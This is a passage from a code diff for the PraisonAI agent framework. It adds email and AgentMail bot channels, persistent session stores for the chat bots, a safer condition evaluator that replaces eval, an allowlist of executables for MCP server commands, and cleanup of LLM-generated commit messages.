if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
content_type = part.get_content_type()
|
||||
if content_type == "text/plain":
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload:
|
||||
charset = part.get_content_charset() or "utf-8"
|
||||
return payload.decode(charset, errors="replace")
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload:
|
||||
charset = msg.get_content_charset() or "utf-8"
|
||||
return payload.decode(charset, errors="replace")
|
||||
return ""
|
||||
|
||||
async def _handle_message(self, message: BotMessage) -> None:
|
||||
"""Handle an incoming email message."""
|
||||
# Fire message hooks
|
||||
self.fire_message_received(message)
|
||||
|
||||
# Check command prefix in subject
|
||||
subject = message.metadata.get("subject", "")
|
||||
if subject.startswith(self.config.command_prefix):
|
||||
command = subject[len(self.config.command_prefix):].split()[0].lower()
|
||||
if command in self._command_handlers:
|
||||
try:
|
||||
await self._command_handlers[command](message)
|
||||
except Exception as e:
|
||||
logger.error(f"Command handler error: {e}")
|
||||
return
|
||||
|
||||
# Call registered message handlers
|
||||
for handler in self._message_handlers:
|
||||
try:
|
||||
result = handler(message)
|
||||
if asyncio.iscoroutine(result):
|
||||
await result
|
||||
except Exception as e:
|
||||
logger.error(f"Message handler error: {e}")
|
||||
|
||||
# Process with agent if available
|
||||
if self._agent:
|
||||
try:
|
||||
# Extract just the body for the agent
|
||||
body = message.content
|
||||
if body.startswith("Subject:"):
|
||||
body = body.split("\n\n", 1)[-1]
|
||||
|
||||
response = await self._session.chat(
|
||||
self._agent,
|
||||
message.sender.user_id,
|
||||
body,
|
||||
)
|
||||
|
||||
if response:
|
||||
# Reply to the email
|
||||
await self.send_message(
|
||||
channel_id=message.sender.user_id,
|
||||
content={
|
||||
"subject": f"Re: {message.metadata.get('subject', '')}",
|
||||
"body": response,
|
||||
},
|
||||
reply_to=message.message_id,
|
||||
thread_id=message.thread_id,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Agent processing error: {e}")
|
||||
|
||||
async def send_message(
|
||||
self,
|
||||
channel_id: str,
|
||||
content: Union[str, Dict[str, Any]],
|
||||
reply_to: Optional[str] = None,
|
||||
thread_id: Optional[str] = None,
|
||||
) -> BotMessage:
|
||||
"""Send an email message.
|
||||
|
||||
Args:
|
||||
channel_id: Recipient email address
|
||||
content: Message content (str or {"subject": ..., "body": ...})
|
||||
reply_to: Message-ID to reply to (sets In-Reply-To header)
|
||||
thread_id: References chain (sets References header)
|
||||
|
||||
Returns:
|
||||
The sent message
|
||||
"""
|
||||
# Fire sending hook
|
||||
content_str = content.get("body", "") if isinstance(content, dict) else str(content)
|
||||
self.fire_message_sending(channel_id, content_str)
|
||||
|
||||
# Parse content
|
||||
if isinstance(content, dict):
|
||||
subject = content.get("subject", "Message from PraisonAI")
|
||||
body = content.get("body", "")
|
||||
html = content.get("html")
|
||||
else:
|
||||
subject = "Message from PraisonAI"
|
||||
body = str(content)
|
||||
html = None
|
||||
|
||||
# Build email
|
||||
if html:
|
||||
msg = MIMEMultipart("alternative")
|
||||
msg.attach(MIMEText(body, "plain"))
|
||||
msg.attach(MIMEText(html, "html"))
|
||||
else:
|
||||
msg = MIMEText(body, "plain")
|
||||
|
||||
msg["From"] = self._email_address
|
||||
msg["To"] = channel_id
|
||||
msg["Subject"] = subject
|
||||
|
||||
# Generate unique Message-ID
|
||||
domain = self._email_address.split("@")[-1]
|
||||
message_id = f"<{hashlib.md5(f'{time.time()}{channel_id}'.encode()).hexdigest()}@{domain}>"
|
||||
msg["Message-ID"] = message_id
|
||||
|
||||
# Threading headers
|
||||
if reply_to:
|
||||
msg["In-Reply-To"] = reply_to
|
||||
if thread_id:
|
||||
msg["References"] = thread_id
|
||||
|
||||
# Add auto-reply header to prevent loops
|
||||
msg["X-Auto-Reply"] = "yes"
|
||||
msg["Auto-Submitted"] = "auto-replied"
|
||||
|
||||
# Send via SMTP
|
||||
loop = asyncio.get_event_loop()
|
||||
await loop.run_in_executor(None, self._send_smtp, msg)
|
||||
|
||||
# Create BotMessage for return
|
||||
bot_message = BotMessage(
|
||||
message_id=message_id,
|
||||
content=body,
|
||||
message_type=MessageType.TEXT,
|
||||
sender=self._bot_user,
|
||||
channel=BotChannel(channel_id=channel_id, name=channel_id),
|
||||
reply_to=reply_to,
|
||||
thread_id=thread_id,
|
||||
metadata={"subject": subject},
|
||||
)
|
||||
|
||||
# Fire sent hook
|
||||
self.fire_message_sent(channel_id, body, message_id)
|
||||
|
||||
return bot_message
|
||||
|
||||
def _send_smtp(self, msg: MIMEText) -> None:
|
||||
"""Send email via SMTP (sync, runs in executor)."""
|
||||
with smtplib.SMTP(self._smtp_server, self._smtp_port) as server:
|
||||
server.starttls()
|
||||
server.login(self._email_address, self._token)
|
||||
server.send_message(msg)
|
||||
|
||||
async def edit_message(
|
||||
self,
|
||||
channel_id: str,
|
||||
message_id: str,
|
||||
content: Union[str, Dict[str, Any]],
|
||||
) -> BotMessage:
|
||||
"""Edit a message (not supported for email - sends new message)."""
|
||||
logger.warning("Email does not support message editing. Sending new message.")
|
||||
return await self.send_message(channel_id, content)
|
||||
|
||||
async def delete_message(self, channel_id: str, message_id: str) -> bool:
|
||||
"""Delete a message (not supported for email)."""
|
||||
logger.warning("Email does not support message deletion.")
|
||||
return False
|
||||
|
||||
def on_message(self, handler: Callable[[BotMessage], Any]) -> Callable:
|
||||
"""Register a message handler."""
|
||||
self._message_handlers.append(handler)
|
||||
return handler
|
||||
|
||||
def on_command(self, command: str) -> Callable:
|
||||
"""Decorator to register a command handler.
|
||||
|
||||
Commands are detected from email subject lines starting with
|
||||
the command prefix (default: "/").
|
||||
|
||||
Example:
|
||||
@bot.on_command("status")
|
||||
async def handle_status(message):
|
||||
await bot.send_message(message.channel.channel_id, "Bot is running!")
|
||||
"""
|
||||
def decorator(func: Callable) -> Callable:
|
||||
self._command_handlers[command.lower()] = func
|
||||
return func
|
||||
return decorator
|
||||
|
||||
async def send_typing(self, channel_id: str) -> None:
|
||||
"""Send typing indicator (no-op for email)."""
|
||||
pass
|
||||
|
||||
async def get_user(self, user_id: str) -> Optional[BotUser]:
|
||||
"""Get user information."""
|
||||
return BotUser(user_id=user_id, username=user_id)
|
||||
|
||||
async def get_channel(self, channel_id: str) -> Optional[BotChannel]:
|
||||
"""Get channel information."""
|
||||
return BotChannel(channel_id=channel_id, name=channel_id, channel_type="dm")
|
||||
|
||||
async def probe(self) -> ProbeResult:
|
||||
"""Test email server connectivity."""
|
||||
start_time = time.time()
|
||||
|
||||
try:
|
||||
loop = asyncio.get_event_loop()
|
||||
|
||||
# Test IMAP
|
||||
imap = await loop.run_in_executor(
|
||||
None,
|
||||
lambda: imaplib.IMAP4_SSL(self._imap_server, self._imap_port)
|
||||
)
|
||||
await loop.run_in_executor(
|
||||
None,
|
||||
lambda: imap.login(self._email_address, self._token)
|
||||
)
|
||||
await loop.run_in_executor(None, imap.logout)
|
||||
|
||||
elapsed_ms = (time.time() - start_time) * 1000
|
||||
|
||||
return ProbeResult(
|
||||
ok=True,
|
||||
platform="email",
|
||||
elapsed_ms=elapsed_ms,
|
||||
bot_username=self._email_address,
|
||||
)
|
||||
except Exception as e:
|
||||
return ProbeResult(
|
||||
ok=False,
|
||||
platform="email",
|
||||
error=str(e),
|
||||
)
|
||||
|
||||
async def health(self) -> HealthResult:
|
||||
"""Get health status of the email bot."""
|
||||
probe_result = await self.probe()
|
||||
|
||||
uptime = 0.0
|
||||
if self._started_at:
|
||||
uptime = time.time() - self._started_at
|
||||
|
||||
return HealthResult(
|
||||
ok=self._is_running and probe_result.ok,
|
||||
platform="email",
|
||||
is_running=self._is_running,
|
||||
uptime_seconds=uptime,
|
||||
probe=probe_result,
|
||||
sessions=self._session.active_count() if hasattr(self._session, 'active_count') else 0,
|
||||
)
|
||||
@@ -95,7 +95,15 @@ class SlackBot(ChatCommandMixin, MessageHookMixin):
|
||||
self._message_handlers: List[Callable] = []
|
||||
self._command_handlers: Dict[str, Callable] = {}
|
||||
self._started_at: Optional[float] = None
|
||||
self._session: BotSessionManager = BotSessionManager()
|
||||
try:
|
||||
from praisonaiagents.session import get_default_session_store
|
||||
_store = get_default_session_store()
|
||||
except Exception:
|
||||
_store = None
|
||||
self._session: BotSessionManager = BotSessionManager(
|
||||
store=_store,
|
||||
platform="slack",
|
||||
)
|
||||
self._debouncer: InboundDebouncer = InboundDebouncer(
|
||||
debounce_ms=self.config.debounce_ms,
|
||||
)
|
||||
|
||||
@@ -85,7 +85,15 @@ class TelegramBot(ChatCommandMixin, MessageHookMixin):
|
||||
self._message_handlers: List[Callable] = []
|
||||
self._command_handlers: Dict[str, Callable] = {}
|
||||
self._started_at: Optional[float] = None
|
||||
self._session: BotSessionManager = BotSessionManager()
|
||||
try:
|
||||
from praisonaiagents.session import get_default_session_store
|
||||
_store = get_default_session_store()
|
||||
except Exception:
|
||||
_store = None
|
||||
self._session: BotSessionManager = BotSessionManager(
|
||||
store=_store,
|
||||
platform="telegram",
|
||||
)
|
||||
self._debouncer: InboundDebouncer = InboundDebouncer(
|
||||
debounce_ms=self.config.debounce_ms,
|
||||
)
|
||||
|
||||
@@ -130,7 +130,15 @@ class WhatsAppBot(ChatCommandMixin, MessageHookMixin):
|
||||
self._is_running = False
|
||||
self._started_at: Optional[float] = None
|
||||
self._bot_user: Optional[BotUser] = None
|
||||
self._session_mgr = BotSessionManager()
|
||||
try:
|
||||
from praisonaiagents.session import get_default_session_store
|
||||
_store = get_default_session_store()
|
||||
except Exception:
|
||||
_store = None
|
||||
self._session_mgr = BotSessionManager(
|
||||
store=_store,
|
||||
platform="whatsapp",
|
||||
)
|
||||
self._message_handlers: List[Callable] = []
|
||||
self._runner: Any = None
|
||||
self._site: Any = None
|
||||
|
||||
@@ -355,6 +355,89 @@ def bot_whatsapp(
|
||||
)
|
||||
|
||||
|
||||
@app.command("email")
|
||||
def bot_email(
|
||||
token: Optional[str] = typer.Option(None, "--token", "-t", help="Email app password", envvar="EMAIL_APP_PASSWORD"),
|
||||
email_address: Optional[str] = typer.Option(None, "--email", help="Email address", envvar="EMAIL_ADDRESS"),
|
||||
imap_server: Optional[str] = typer.Option(None, "--imap", help="IMAP server"),
|
||||
smtp_server: Optional[str] = typer.Option(None, "--smtp", help="SMTP server"),
|
||||
agent: Optional[str] = typer.Option(None, "--agent", "-a", help="Agent YAML configuration file"),
|
||||
model: Optional[str] = typer.Option(None, "--model", "-m", help="LLM model to use"),
|
||||
tools: Optional[List[str]] = typer.Option(None, "--tools", help="Tools to enable"),
|
||||
memory: bool = typer.Option(False, "--memory", help="Enable memory"),
|
||||
knowledge: bool = typer.Option(False, "--knowledge", help="Enable knowledge/RAG"),
|
||||
web_search: bool = typer.Option(False, "--web", "--web-search", help="Enable web search"),
|
||||
auto_approve: bool = typer.Option(False, "--auto-approve", help="Auto-approve all tool executions"),
|
||||
):
|
||||
"""Start an Email bot (IMAP/SMTP).
|
||||
|
||||
Examples:
|
||||
praisonai bot email --token $EMAIL_APP_PASSWORD --email user@gmail.com
|
||||
praisonai bot email --agent agents.yaml --memory
|
||||
"""
|
||||
from ..features.bots_cli import BotHandler, BotCapabilities
|
||||
|
||||
capabilities = BotCapabilities(
|
||||
tools=tools or [],
|
||||
memory=memory,
|
||||
knowledge=knowledge,
|
||||
web_search=web_search,
|
||||
auto_approve=auto_approve,
|
||||
model=model,
|
||||
)
|
||||
|
||||
handler = BotHandler()
|
||||
handler.start_email(
|
||||
token=token,
|
||||
agent_file=agent,
|
||||
capabilities=capabilities,
|
||||
email_address=email_address,
|
||||
imap_server=imap_server,
|
||||
smtp_server=smtp_server,
|
||||
)
|
||||
|
||||
|
||||
@app.command("agentmail")
|
||||
def bot_agentmail(
|
||||
token: Optional[str] = typer.Option(None, "--token", "-t", help="AgentMail API key", envvar="AGENTMAIL_API_KEY"),
|
||||
inbox_id: Optional[str] = typer.Option(None, "--inbox", help="Existing inbox ID / email address", envvar="AGENTMAIL_INBOX_ID"),
|
||||
domain: Optional[str] = typer.Option(None, "--domain", help="Custom domain for new inboxes", envvar="AGENTMAIL_DOMAIN"),
|
||||
agent: Optional[str] = typer.Option(None, "--agent", "-a", help="Agent YAML configuration file"),
|
||||
model: Optional[str] = typer.Option(None, "--model", "-m", help="LLM model to use"),
|
||||
tools: Optional[List[str]] = typer.Option(None, "--tools", help="Tools to enable"),
|
||||
memory: bool = typer.Option(False, "--memory", help="Enable memory"),
|
||||
knowledge: bool = typer.Option(False, "--knowledge", help="Enable knowledge/RAG"),
|
||||
web_search: bool = typer.Option(False, "--web", "--web-search", help="Enable web search"),
|
||||
auto_approve: bool = typer.Option(False, "--auto-approve", help="Auto-approve all tool executions"),
|
||||
):
|
||||
"""Start an AgentMail bot (API-first email for AI agents).
|
||||
|
||||
Examples:
|
||||
praisonai bot agentmail --token $AGENTMAIL_API_KEY
|
||||
praisonai bot agentmail --inbox praison@agentmail.to
|
||||
praisonai bot agentmail --agent agents.yaml --memory
|
||||
"""
|
||||
from ..features.bots_cli import BotHandler, BotCapabilities
|
||||
|
||||
capabilities = BotCapabilities(
|
||||
tools=tools or [],
|
||||
memory=memory,
|
||||
knowledge=knowledge,
|
||||
web_search=web_search,
|
||||
auto_approve=auto_approve,
|
||||
model=model,
|
||||
)
|
||||
|
||||
handler = BotHandler()
|
||||
handler.start_agentmail(
|
||||
token=token,
|
||||
agent_file=agent,
|
||||
capabilities=capabilities,
|
||||
inbox_id=inbox_id,
|
||||
domain=domain,
|
||||
)
|
||||
|
||||
|
||||
@app.callback(invoke_without_command=True)
|
||||
def bot_callback(ctx: typer.Context):
|
||||
"""Show bot help if no subcommand provided."""
|
||||
@@ -369,6 +452,8 @@ Start a bot on any platform with: praisonai bot <platform>
|
||||
[green]discord[/green] Discord Bot API
|
||||
[green]slack[/green] Slack Socket Mode
|
||||
[green]whatsapp[/green] WhatsApp Cloud API or Web mode (QR scan)
|
||||
[green]email[/green] Email via IMAP/SMTP
|
||||
[green]agentmail[/green] AgentMail API (API-first email for AI agents)
|
||||
|
||||
[bold]Capability Options (all platforms):[/bold]
|
||||
[yellow]--agent FILE[/yellow] Agent YAML configuration
|
||||
|
||||
@@ -190,12 +190,25 @@ class BotHandler:
|
||||
|
||||
platform = config.get("platform")
|
||||
if not platform:
|
||||
print("Error: 'platform' is required in bot config (telegram, discord, or slack)")
|
||||
return
|
||||
# Also try channels-style config (multi-channel format)
|
||||
channels = config.get("channels")
|
||||
if channels and isinstance(channels, dict):
|
||||
# Pick first channel as platform
|
||||
platform = next(iter(channels))
|
||||
# Merge channel config into top level for token resolution
|
||||
channel_conf = channels[platform] or {}
|
||||
if "token" not in config and channel_conf.get("token"):
|
||||
config["token"] = channel_conf["token"]
|
||||
if "bot_token" not in config and channel_conf.get("bot_token"):
|
||||
config["token"] = channel_conf["bot_token"]
|
||||
else:
|
||||
print("Error: 'platform' or 'channels' is required in bot config")
|
||||
return
|
||||
|
||||
platform = platform.lower().strip()
|
||||
if platform not in ("telegram", "discord", "slack", "whatsapp"):
|
||||
print(f"Error: Unknown platform '{platform}'. Use: telegram, discord, slack, whatsapp")
|
||||
valid_platforms = ("telegram", "discord", "slack", "whatsapp", "email", "agentmail")
|
||||
if platform not in valid_platforms:
|
||||
print(f"Error: Unknown platform '{platform}'. Use: {', '.join(valid_platforms)}")
|
||||
return
|
||||
|
||||
token = resolve_env_vars(config.get("token", ""))
|
||||
@@ -272,6 +285,25 @@ class BotHandler:
|
||||
allowed_groups=wa_allowed_groups,
|
||||
respond_to_all=bool(wa_respond_to_all),
|
||||
)
|
||||
elif platform == "email":
|
||||
self.start_email(
|
||||
token=token or None,
|
||||
agent_file=None,
|
||||
capabilities=capabilities,
|
||||
agent_config_dict=agent_config,
|
||||
email_address=resolve_env_vars(config.get("email_address", "")),
|
||||
imap_server=resolve_env_vars(config.get("imap_server", "")),
|
||||
smtp_server=resolve_env_vars(config.get("smtp_server", "")),
|
||||
)
|
||||
elif platform == "agentmail":
|
||||
self.start_agentmail(
|
||||
token=token or None,
|
||||
agent_file=None,
|
||||
capabilities=capabilities,
|
||||
agent_config_dict=agent_config,
|
||||
inbox_id=resolve_env_vars(config.get("inbox_id", "")),
|
||||
domain=resolve_env_vars(config.get("domain", "")),
|
||||
)
|
||||
|
||||
def start_telegram(
|
||||
self,
|
||||
@@ -522,6 +554,117 @@ class BotHandler:
|
||||
except Exception:
|
||||
pass # neonize Go threads may already be gone
|
||||
|
||||
def start_email(
|
||||
self,
|
||||
token: Optional[str] = None,
|
||||
agent_file: Optional[str] = None,
|
||||
capabilities: Optional[BotCapabilities] = None,
|
||||
agent_config_dict: Optional[Dict[str, Any]] = None,
|
||||
email_address: Optional[str] = None,
|
||||
imap_server: Optional[str] = None,
|
||||
smtp_server: Optional[str] = None,
|
||||
) -> None:
|
||||
"""Start an Email bot (IMAP/SMTP).
|
||||
|
||||
Args:
|
||||
token: Email app password (or EMAIL_APP_PASSWORD env var)
|
||||
agent_file: Optional path to agent config file
|
||||
capabilities: Optional capabilities configuration
|
||||
agent_config_dict: Optional agent config dict from bot YAML
|
||||
email_address: Email address to use
|
||||
imap_server: IMAP server hostname
|
||||
smtp_server: SMTP server hostname
|
||||
"""
|
||||
self._load_dotenv()
|
||||
token = token or os.environ.get("EMAIL_APP_PASSWORD")
|
||||
if not token:
|
||||
print("Error: Email app password required")
|
||||
print("Provide via --token or EMAIL_APP_PASSWORD environment variable")
|
||||
return
|
||||
|
||||
if capabilities and capabilities.auto_approve:
|
||||
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
|
||||
|
||||
try:
|
||||
from praisonai.bots import EmailBot
|
||||
except ImportError as e:
|
||||
print(f"Error: EmailBot import failed. {e}")
|
||||
return
|
||||
|
||||
agent = self._load_agent(agent_file, capabilities, agent_config_dict=agent_config_dict)
|
||||
bot = EmailBot(
|
||||
token=token,
|
||||
agent=agent,
|
||||
email_address=email_address or None,
|
||||
imap_server=imap_server or None,
|
||||
smtp_server=smtp_server or None,
|
||||
)
|
||||
|
||||
self._print_startup_info("Email (IMAP/SMTP)", capabilities)
|
||||
|
||||
try:
|
||||
asyncio.run(bot.start())
|
||||
except KeyboardInterrupt:
|
||||
print("\nStopping bot...")
|
||||
asyncio.run(bot.stop())
|
||||
|
||||
def start_agentmail(
|
||||
self,
|
||||
token: Optional[str] = None,
|
||||
agent_file: Optional[str] = None,
|
||||
capabilities: Optional[BotCapabilities] = None,
|
||||
agent_config_dict: Optional[Dict[str, Any]] = None,
|
||||
inbox_id: Optional[str] = None,
|
||||
domain: Optional[str] = None,
|
||||
) -> None:
|
||||
"""Start an AgentMail bot (API-first email).
|
||||
|
||||
Args:
|
||||
token: AgentMail API key (or AGENTMAIL_API_KEY env var)
|
||||
agent_file: Optional path to agent config file
|
||||
capabilities: Optional capabilities configuration
|
||||
agent_config_dict: Optional agent config dict from bot YAML
|
||||
inbox_id: Existing inbox ID / email address to reuse
|
||||
domain: Custom domain for new inboxes
|
||||
"""
|
||||
self._load_dotenv()
|
||||
token = token or os.environ.get("AGENTMAIL_API_KEY")
|
||||
if not token:
|
||||
print("Error: AgentMail API key required")
|
||||
print("Provide via --token or AGENTMAIL_API_KEY environment variable")
|
||||
return
|
||||
|
||||
if capabilities and capabilities.auto_approve:
|
||||
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
|
||||
|
||||
try:
|
||||
from praisonai.bots import AgentMailBot
|
||||
except ImportError as e:
|
||||
print(f"Error: AgentMailBot import failed. {e}")
|
||||
print("Install with: pip install agentmail")
|
||||
return
|
||||
|
||||
inbox_id = inbox_id or os.environ.get("AGENTMAIL_INBOX_ID")
|
||||
domain = domain or os.environ.get("AGENTMAIL_DOMAIN")
|
||||
|
||||
agent = self._load_agent(agent_file, capabilities, agent_config_dict=agent_config_dict)
|
||||
bot = AgentMailBot(
|
||||
token=token,
|
||||
agent=agent,
|
||||
inbox_id=inbox_id,
|
||||
domain=domain,
|
||||
)
|
||||
|
||||
self._print_startup_info("AgentMail", capabilities)
|
||||
if inbox_id:
|
||||
print(f"Inbox: {inbox_id}")
|
||||
|
||||
try:
|
||||
asyncio.run(bot.start())
|
||||
except KeyboardInterrupt:
|
||||
print("\nStopping bot...")
|
||||
asyncio.run(bot.stop())
|
||||
|
||||
def _get_agent_kwargs(self, capabilities: Optional[BotCapabilities]) -> Dict[str, Any]:
|
||||
"""Extract Agent constructor kwargs from BotCapabilities (DRY).
|
||||
|
||||
|
||||
@@ -312,13 +312,23 @@ class HybridWorkflowExecutor:
|
||||
return flags
|
||||
|
||||
def _eval_condition(self, condition: str, flags: Dict) -> bool:
|
||||
"""Evaluate a simple condition expression."""
|
||||
"""Evaluate a simple condition expression safely."""
|
||||
import ast
|
||||
|
||||
condition = condition.strip()
|
||||
if condition.startswith("{{") and condition.endswith("}}"):
|
||||
condition = condition[2:-2].strip()
|
||||
|
||||
context = {"flags": type("Flags", (), flags)(), "env": os.environ}
|
||||
# Handle simple attribute lookups like "flags.verbose" or "env.DEBUG"
|
||||
context = {"flags": flags, "env": dict(os.environ)}
|
||||
try:
|
||||
return bool(eval(condition, {"__builtins__": {}}, context))
|
||||
except Exception:
|
||||
# Only allow simple attribute access patterns: obj.attr
|
||||
parts = condition.split(".")
|
||||
if len(parts) == 2 and parts[0] in context:
|
||||
obj = context[parts[0]]
|
||||
if isinstance(obj, dict):
|
||||
return bool(obj.get(parts[1], False))
|
||||
# Try literal eval for simple boolean/numeric expressions
|
||||
return bool(ast.literal_eval(condition))
|
||||
except (ValueError, KeyError, TypeError):
|
||||
return False
|
||||
@@ -719,17 +719,26 @@ class JobWorkflowExecutor:
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _eval_condition(self, condition: str, flags: Dict) -> bool:
|
||||
"""Evaluate a simple condition expression."""
|
||||
"""Evaluate a simple condition expression safely."""
|
||||
import ast
|
||||
|
||||
# Strip {{ }} if present
|
||||
condition = condition.strip()
|
||||
if condition.startswith("{{") and condition.endswith("}}"):
|
||||
condition = condition[2:-2].strip()
|
||||
|
||||
# Build evaluation context
|
||||
context = {"flags": type("Flags", (), flags)(), "env": os.environ}
|
||||
# Handle simple attribute lookups like "flags.verbose" or "env.DEBUG"
|
||||
context = {"flags": flags, "env": dict(os.environ)}
|
||||
try:
|
||||
return bool(eval(condition, {"__builtins__": {}}, context))
|
||||
except Exception:
|
||||
# Only allow simple attribute access patterns: obj.attr
|
||||
parts = condition.split(".")
|
||||
if len(parts) == 2 and parts[0] in context:
|
||||
obj = context[parts[0]]
|
||||
if isinstance(obj, dict):
|
||||
return bool(obj.get(parts[1], False))
|
||||
# Try literal eval for simple boolean/numeric expressions
|
||||
return bool(ast.literal_eval(condition))
|
||||
except (ValueError, KeyError, TypeError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@@ -5,10 +5,25 @@ Provides Model Context Protocol server integration.
|
||||
Usage: praisonai "prompt" --mcp "npx -y @modelcontextprotocol/server-filesystem ."
|
||||
"""
|
||||
|
||||
import os
|
||||
import shlex
|
||||
from typing import Any, Dict, Tuple, List
|
||||
from .base import FlagHandler
|
||||
|
||||
# Executables allowed as MCP server commands from the CLI.
|
||||
# The SDK MCP() class is intentionally unrestricted — developers control their own inputs.
|
||||
ALLOWED_MCP_COMMANDS = {
|
||||
"npx", "npx.cmd", "npx.exe",
|
||||
"node", "node.exe",
|
||||
"python", "python3", "python.exe", "python3.exe",
|
||||
"uvx", "uvx.exe",
|
||||
"uv", "uv.exe",
|
||||
"docker", "docker.exe",
|
||||
"deno", "deno.exe",
|
||||
"bun", "bun.exe",
|
||||
"pipx",
|
||||
}
|
||||
|
||||
|
||||
class MCPHandler(FlagHandler):
|
||||
"""
|
||||
@@ -56,6 +71,9 @@ class MCPHandler(FlagHandler):
|
||||
|
||||
Returns:
|
||||
Tuple of (command, args, env_dict)
|
||||
|
||||
Raises:
|
||||
ValueError: If the command executable is not in the allowed list.
|
||||
"""
|
||||
# Parse command using shell-like splitting
|
||||
parts = shlex.split(command)
|
||||
@@ -65,6 +83,14 @@ class MCPHandler(FlagHandler):
|
||||
cmd = parts[0]
|
||||
args = parts[1:] if len(parts) > 1 else []
|
||||
|
||||
# Validate executable against allowlist
|
||||
basename = os.path.basename(cmd)
|
||||
if basename not in ALLOWED_MCP_COMMANDS:
|
||||
raise ValueError(
|
||||
f"Command '{cmd}' is not in the allowed MCP executables list. "
|
||||
f"Allowed: {', '.join(sorted(ALLOWED_MCP_COMMANDS - {c for c in ALLOWED_MCP_COMMANDS if '.' in c}))}"
|
||||
)
|
||||
|
||||
# Parse environment variables
|
||||
env = {}
|
||||
if env_vars:
|
||||
@@ -94,7 +120,11 @@ class MCPHandler(FlagHandler):
|
||||
|
||||
from praisonaiagents import MCP
|
||||
|
||||
cmd, args, env = self.parse_mcp_command(command, env_vars)
|
||||
try:
|
||||
cmd, args, env = self.parse_mcp_command(command, env_vars)
|
||||
except ValueError as e:
|
||||
self.print_status(str(e), "error")
|
||||
return None
|
||||
|
||||
if not cmd:
|
||||
self.print_status("Invalid MCP command", "error")
|
||||
|
||||
@@ -3521,6 +3521,21 @@ class PraisonAI:
|
||||
|
||||
return issues
|
||||
|
||||
@staticmethod
|
||||
def _clean_commit_message(raw: str) -> str:
|
||||
"""Strip markdown code fences and excess whitespace from LLM-generated commit messages."""
|
||||
msg = raw.strip()
|
||||
# Remove wrapping ```...``` (with optional language tag like ```text)
|
||||
if msg.startswith("```"):
|
||||
lines = msg.split("\n")
|
||||
# Remove first line (```<lang?>) and last line (```) if present
|
||||
if len(lines) >= 2 and lines[-1].strip() == "```":
|
||||
lines = lines[1:-1]
|
||||
elif lines[0].strip().startswith("```"):
|
||||
lines = lines[1:]
|
||||
msg = "\n".join(lines).strip()
|
||||
return msg
|
||||
|
||||
def handle_commit_command(self, args: list):
|
||||
"""
|
||||
Handle AI commit message generation.
|
||||
@@ -3649,10 +3664,12 @@ Be specific about what changed and why.""",
|
||||
Detailed diff:
|
||||
{diff_content}
|
||||
|
||||
Provide ONLY the commit message, no explanations."""
|
||||
Provide ONLY the raw commit message text.
|
||||
Do NOT wrap it in markdown code fences or backticks.
|
||||
Do NOT add any explanations or formatting."""
|
||||
|
||||
response = agent.chat(prompt)
|
||||
commit_message = response.strip()
|
||||
commit_message = self._clean_commit_message(response)
|
||||
|
||||
print("\n[bold green]Suggested commit message:[/bold green]")
|
||||
print(f"[cyan]{commit_message}[/cyan]")
|
||||
|
||||
@@ -57,7 +57,7 @@ class CloudDeployer:
|
||||
file.write("FROM python:3.11-slim\n")
|
||||
file.write("WORKDIR /app\n")
|
||||
file.write("COPY . .\n")
|
||||
file.write("RUN pip install flask praisonai==4.5.63 gunicorn markdown\n")
|
||||
file.write("RUN pip install flask praisonai==4.5.80 gunicorn markdown\n")
|
||||
file.write("EXPOSE 8080\n")
|
||||
file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
|
||||
|
||||
|
||||
@@ -865,7 +865,7 @@ class WebSocketGateway:
|
||||
elif not isinstance(raw["channels"], dict) or not raw["channels"]:
|
||||
errors.append("'channels' must be a non-empty dictionary")
|
||||
else:
|
||||
valid_platforms = {"telegram", "discord", "slack", "whatsapp"}
|
||||
valid_platforms = {"telegram", "discord", "slack", "whatsapp", "email", "agentmail"}
|
||||
for cname, cdef in raw["channels"].items():
|
||||
if not isinstance(cdef, dict):
|
||||
errors.append(f"Channel '{cname}' must be a dictionary")
|
||||
@@ -880,7 +880,9 @@ class WebSocketGateway:
|
||||
# WhatsApp web mode doesn't require a token
|
||||
is_wa_web = (platform == "whatsapp" and
|
||||
cdef.get("mode", "cloud").lower().strip() == "web")
|
||||
if not cdef.get("token") and not is_wa_web:
|
||||
# Email/AgentMail use env vars for tokens — not required in YAML
|
||||
is_email_platform = platform in ("email", "agentmail")
|
||||
if not cdef.get("token") and not is_wa_web and not is_email_platform:
|
||||
errors.append(
|
||||
f"Channel '{cname}' missing 'token' "
|
||||
"(use ${{ENV_VAR}} syntax for env vars)"
|
||||
@@ -1078,7 +1080,9 @@ class WebSocketGateway:
|
||||
# WhatsApp web mode doesn't require a token
|
||||
wa_web_mode = (channel_type == "whatsapp" and
|
||||
ch_cfg.get("mode", "cloud").lower().strip() == "web")
|
||||
if not token and not wa_web_mode:
|
||||
# Email/AgentMail use env vars for tokens — not required in YAML
|
||||
is_email_platform = channel_type in ("email", "agentmail")
|
||||
if not token and not wa_web_mode and not is_email_platform:
|
||||
logger.warning(f"No token for channel '{channel_name}', skipping")
|
||||
continue
|
||||
|
||||
@@ -1143,6 +1147,25 @@ class WebSocketGateway:
|
||||
mode=wa_mode,
|
||||
creds_dir=ch_cfg.get("creds_dir"),
|
||||
)
|
||||
elif channel_type == "email":
|
||||
from praisonai.bots import EmailBot
|
||||
email_token = token or os.environ.get("EMAIL_APP_PASSWORD", "")
|
||||
return EmailBot(
|
||||
token=email_token,
|
||||
agent=agent,
|
||||
email_address=ch_cfg.get("email_address") or os.environ.get("EMAIL_ADDRESS", ""),
|
||||
imap_server=ch_cfg.get("imap_server") or os.environ.get("EMAIL_IMAP_SERVER", ""),
|
||||
smtp_server=ch_cfg.get("smtp_server") or os.environ.get("EMAIL_SMTP_SERVER", ""),
|
||||
)
|
||||
elif channel_type == "agentmail":
|
||||
from praisonai.bots import AgentMailBot
|
||||
am_token = token or os.environ.get("AGENTMAIL_API_KEY", "")
|
||||
return AgentMailBot(
|
||||
token=am_token,
|
||||
agent=agent,
|
||||
inbox_id=ch_cfg.get("inbox_id") or os.environ.get("AGENTMAIL_INBOX_ID", ""),
|
||||
domain=ch_cfg.get("domain") or os.environ.get("AGENTMAIL_DOMAIN", ""),
|
||||
